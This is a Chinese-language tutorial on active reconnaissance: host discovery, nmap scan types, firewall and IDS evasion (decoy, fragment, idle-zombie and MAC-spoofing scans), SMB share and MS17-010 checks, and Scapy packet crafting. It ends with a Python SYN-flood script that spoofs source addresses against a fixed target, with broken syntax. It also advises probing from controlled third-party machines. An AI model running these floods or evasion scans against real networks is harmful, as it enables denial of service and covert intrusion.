0x01.主动信息收集
指通过一定的方式(系统自带命令或者其他工具)，直接与目标系统或者主机进行交互通信，以达到收集信息的目的。
主动信息收集的必要条件
- 使用受控的第三方电脑进行探测
- 使用代理或者已经被控制的主机
- 做好被封杀的准备
- 使用噪声迷惑目标，掩藏真实的的探测流量扫描
- 发送不同的探测，根据返回结果判断目标状态
主动信息收集的发现过程
识别存活的目标系统或者主机(潜在的攻击目标)。
根据osi的分层，主要在2(数据链路层)/3（(网络层)/4（传输层）层进行主机发现。
输出发现结果。
1. 主动信息收集-information
主动信息收集所需信息
- 开放端口
- 开放服务
- 服务版本
- 用户名
- 域名
- 网站系统
- 历史信息
- 身份信息。等等
2. 主动信息收集–代理隐蔽
在主动信息过程中，可能会存在一定被IPS/IDS检测到，我们可以使用proxychains这款工具来达到代理的效果
或在Windows中使用Proxifier。
下面我来介绍一下，这两款软件的使用
Proxifier
打开-->配置文件-->代理服务器-->设置socks5代理参数-->添加
然后我们系统就会走这个代理传输了
proxychains
vim /etc/proxychains4.conf
socks5 按一下tab键 ip tab 端口
proxychains 需要代理的一个程序 (默认root权限不行,可以解封root)
0x02. 主机发现
1. arping
在二层发现中，我们可以arping命令来进行发现主机.
Windows使用命令arp /a即可看到局域网IP , arp /a 用于查看高速缓存中的所有项目
在linux中是arping 192.168.181.128 -c 1 C参数是发送次数
实际上是通过2层去ping主机 , 看他存不存活
arping目标IP -w 等待时间
补充:
ping命令在windows和linux中都能使用；arping在linux中使用，windowws中不能使用。
主要介绍如下：
1.ping发送ICMP请求包，用来测试主机与目标主机之间的连通性。如果未连通：有可能是物理上的问题，有可能是软件上的（防火墙开启等）问题。
2.arping发送ARP请求包，用来测试某个IP是否被主机使用，以及使用主机的物理地址。
2. nmap
nmap -sn目标网段 // 只进行主机发现，不进行端口扫描 sp 是判断主机存活 一般可能禁止ping
nmap -sA目标网段 // 发送tcp的ack包进行探测
3. netdiscover
netdiscover专用的二层发现工具。拥有主动和被动发现两种方式。
netdiscover -i 网卡 -r 目标网段 # 主动扫描网段
netdiscover -l 文件路径 # 扫描文件IP
netdiscover -p # 被动扫描
4. traceroute
用于显示数据包在lP网络中经过的路由器的IP地址。
命令帮助: traceroute --help
常用命令: traceroute 目标域名
5. fping
Fping程序类似于ping (ping是通过ICMP(网络控制信息协议InternetControl MessageProtocol）协议回复请求以检测主机是否存在)。Fping与ping不同的地方在于，fping可以在命令行中指定要ping的主机数量范围，也可以指定含有要ping的主机列表文件。
fping -aqg //目前最准确的一款工具
6. arp-scan
是一款kali自带的一款轻量ARP扫描工具，该工具会自动解析MAC地址，得到对应硬件厂商
arp-scan -l
扫描当前网段
0x03. Nmap信息收集
1. NMAP工具介绍
Nmap是一款开源免费的网络发现(Network Discovery)和安全审计(Security Auditing)工具。软件名字Nmap是Network Mapper的简称。Nmap最初是由Fyodor在1997年开始创建的。随后在开源社区众多的志愿者参与下，该工具逐渐成为最为流行安全必备工具之一。最新版的Nmap6.0在2012年5月21日发布，
详情请参见: www.nmap.org。
一般情况下，Nmap用于列举网络主机清单、管理服务升级调度、监控主机或服务运行状况。Nmap可以检测目标机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等信息。
2. NMAP工具
在主动信息过程中，可能会存在一定被IPS/IDS检测到，我们可以使用proxychains这款工具来达到代理的效果
或在Windows中使用Proxifier。
下面我来介绍一下，这两款软件的使用
3. NMAP基本扫类型
- -sT:使用TCP进行扫描
- -sS:半开放扫描（非3次握手的tcp扫描)
- -sU: udp端口的扫描
- -sF:也是tcp的扫描一种，发送一个FIN标志的数据包
- -sV:版本检测(sV)
- 有些程序比如synlogger和courtney能够检测那些扫描
- 使用-sF、-sX、-sN可以逃过这些干扰。
4. NMAP特点扫描
- -O可以实现模糊测试对方系统版本PING大于67则Windows
- -A全面检测
- -sV探测目标系统服务版本
- -T4设置线程
- nmap -p 80 --script=http-enum.nse 可带nse脚本来扫描
5. NMAP绕过防火墙扫描
-
nmap --script=firewalk --traceroute目标
-
nmap -p80 --script http-waf-detect --script-args="http-waf-detect.detectBodyChanges'
www.fujieace.com 防火墙绕过
-
碎片扫描 nmap -f 主机、nmap -mtu 8
-
诱饵扫描 nmap -D RND:10主机
-
空闲扫描 nmap -P0 -sl zombie
-
随机数据长度扫描 nmap --data-length 25
-
欺骗性扫描 nmap --sT -PN --spoof-mac aa:bb:cc:dd:ee:ff、nmap --badsum主机、nmap -g 80 -s www.baidu.com主机、nmap -p80 --script http-methods --script-args
http.useragent="Mozilla 5"。
6. IPC共享
IPCS (Internet Process Connection)是共享“命名管道"的资源，它是为了让进程间通信而开放的命名管道，通过提供可信任的用户名和口令，连接双方可以建立安全的通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。IPC$是NT2000的一项新功能，它有一个特点，即在同一时间内，两个IP之间只允许建立一个连接。NT2000在提供了ipc$功能的同时，在初次安装系统时还打开了默认共享，即所有的逻辑共享(C$、D$、E$......)和系统目录(C:/windows)共享。所有的这些初衷都是为了方便管理员的管理。但好的初衷并不一定有好的收效 ， 一些别有用心者会利用IPC$，访问共享资源，导出用户列表，并使用一些字典工具进行密码探测。
为了配合IPC共享工作， Windows操作系统（不包括Windows 98系列）在安装完成后，白动设置共享的目录为:C盘、D盘、E盘、ADMIN目录(C:\Windows)等，即为ADMIN$、C$、D$、E$等，但要注意，这些共享是隐藏的，只有管理员能够对他们进行远程操作。
7. NMAP检测IPC共享
- nmap --script=smb-enum-shares.nse -sT 192.168.0.127
8. NMAP检测CVE漏洞
- nmap --script=smb-vuln-ms17-010.nse -sT 192.168.0.127
- 检索nmap的漏洞探针有哪些 进入nmap的scripts 然后 ls | grep vuln
0x04. scapy网络信息收集
1. SCAPY介绍
Scapy是一款强大的交互式数据包处理工具、数据包生成器、网络扫描器、网络发现工昊和包嗅探工具。它提供多种类别的交互式生成数据包或数据包集合、对数据包进行操作、发送数据包、包嗅探、应答和反馈匹配等等功能。
Python解释器提供交互功能，所以要用到Python编程知识（例如variables、loops、和functions)。支持生成报告，且报告生成简单。
使用方法如下:
pkt=IP()/TCP()
2. 使用SCAPY创立发送数据包
pkt=IP(src="192.168.0.133",dst="39.156.69.79")/TCP()
源地址 目标地址
res=sr1(pkt) //接收
res.summary() //查看
sr() //接受全部
send() //只发送
发送两层数据包
srp()
srp1()
sendp()
3. 二层发现-ARP()
a=ARP()
a.pdst=”需要检测的主机”
sr1(a)
4. 三层发现-ICMP()
ip=lP()/ICMP()
ip.dst="192.168.0.127"
sr1(ip)
5. 发送 TCP数据包
ip=IP()
tcp=TCP()
ip.dst="192.168.0.133".
ip.dport=8055
tcp.flags='A'
sr1(ip/tcp)
sr(IP(dst="www.baidu.com")/TCP(dport=[21,80,3389],flags="S")) //端口扫描
6. synFloopd泛洪攻击
很老的一种ip攻击手段
from scapy.all import*import random
def synFlood():
for i in range(10000):
#构造随机的源IP
src='%i.%i.%i.%i'%(
random.randint(1,255),
random.randint(1,255),
random.randint(1,255),
random.randint(1,255))
#构造随机的端口
sport=random.randint(1024,65535)
IPlayer=IP(src=src ,dst='192.168.37.13')
TCPlayer=TCP(sport=sport,dport=80,flags="s")
packet=IPlayer /TCPlayer
send(packet)
if ___name__ == '__main__':
synFlood()